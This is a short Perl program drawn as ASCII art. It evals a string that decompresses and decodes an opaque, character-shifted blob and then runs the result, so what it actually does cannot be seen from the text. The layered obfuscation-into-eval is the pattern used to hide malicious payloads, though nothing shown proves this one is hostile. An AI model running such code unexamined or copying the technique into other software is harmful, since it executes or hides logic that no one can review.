($z=q[
                                       usezCompress::Zlib;eval(unc
                                   ompress(unpack("u",uc(join"",map{chr
                               ($_-3)}unpack"C*",q!pA0m@88pv{f;7Bq`/b_14}|h
                            %3k(wlbo3xCgg1/6h{ku$<f,,pm0Ct@<e,%.,p5xi)bAw`/d$
                          +w^|w$qp?rj2|@%vg:&/;o>b/}Aipkr0)/b0A(mq+_8g1B=m{pld
                         &h/w^dgeodk?a{{C,qm,ig/o_{&1gw:y+/ib'/k}{u-i.(k/A/9?,hu
                        C5wp/f|$$_a9w/o(t;,;0_/er=:e'slz/o@A@bgujwm+m'$xekzd8r'g
                      u4fwh`lCp|5^fsf,@?$f*7e3/b+,-hu=93(`1<3^&j'_lp-v0;f}t)>;=@1
                      9/6h,gib+lp<bd;^8qA;ds:7j*oB/w(d3'z=))t)B`i`u;kss=%+f^/(x;'
                     wtt,%+z(qhvjp/ytc<t6(&89=y:=,65v-4'dr>*5A5e6c>?ks(y-,g|k9kw$)
                    93t&C|hw2g_|pvmwn?<{veex7rl6n4f2t`&vflg<mh<? 8644f/9hp45Bub6=d
                   %}>hf,*96p^}ps^&rg{h7egw/q@v,/+n_ut),,:$&ylo  xd) $''ehf{&)fl.
                  2:snc03@pr>@crp_ig&(kn(BC_r%2-Cdj3y=a5z4dr2   p o,A|8cs,_(9?p$o
                 +g7/,q7=r;B9c;<8pCv?90v`nk(g)hd/,zhe<h           (   0@m)cg{$t}b
                z3+2+@g7%v$l8a;%*14(/}@ed$wpsi&3y36;b3|A(3r=      f?o  l%B* :,:d
               )7w1ev4lwng?':b2?fj={g`B$f4yuvd  7fpsy+<           4v{twe&x, 4jp<
              &dm`:lzt-e?3;t^*>wmw@e*0o|yC:0C}   fj2u1            xA  %s@pp 2 ^
            k=`t$8/3,y%=/y96,0^qvf&_g6w_;18u33    3'mb           /gC  <t?%.  b
           b%bf_A6.B{hpr*cB4)oq?(,2f-j&{c2rqxd                       p.{?;j
         r%ot1`vzm&r?gz-;,'uhnx2z'02ei@{p/3h&.r                      <=(24}
       39os+obw-?`gnoj8m`-})2B%_<cg6*%w1xrd&s,w                     vmf}ukm
      {pbh|n4:b{0C:bn?n^@0<{hmng5obs)Brhs_@}rA*-6         `<cA     Att;7kB
     }_?-nwj{p7-a:u}oi_wlq?i_$}z8b5k|2uk_8|w'{(5 ?7{            (6xd)<7h6-
    ,wd<u<>jm8$$spo{1wv-<8*8Ck=@Cl<l?>.nqr2x=`+q%   oahr     |z%*k2^9h)u^z
   :1'|   m(&2132*pwi<{,>hlm=j--b|??h2rq}|`.lw @s:    i|8&wmqv:zx|nA;%BotA
         :hh5qm jloypxev6>&:2@@lg(?B`'tpou_*ia   nl  b7cbe_>ei-sr_ul4?9n'
        bC     45(v>@  g6eu6p'  inB=|  _B`,(>1^   Aw 6l  wvha09xqrxbuibu^
                      '^tn     B6       <+zx*._    =$n>     |6@:{_;Ab(c@
                              ^          n8bkc!)              )))])=~s/[
                                         \n]//sg                    ;$z
                                          =~s/z/                    /;
                                          eval  (                  $z
                                             )                     ;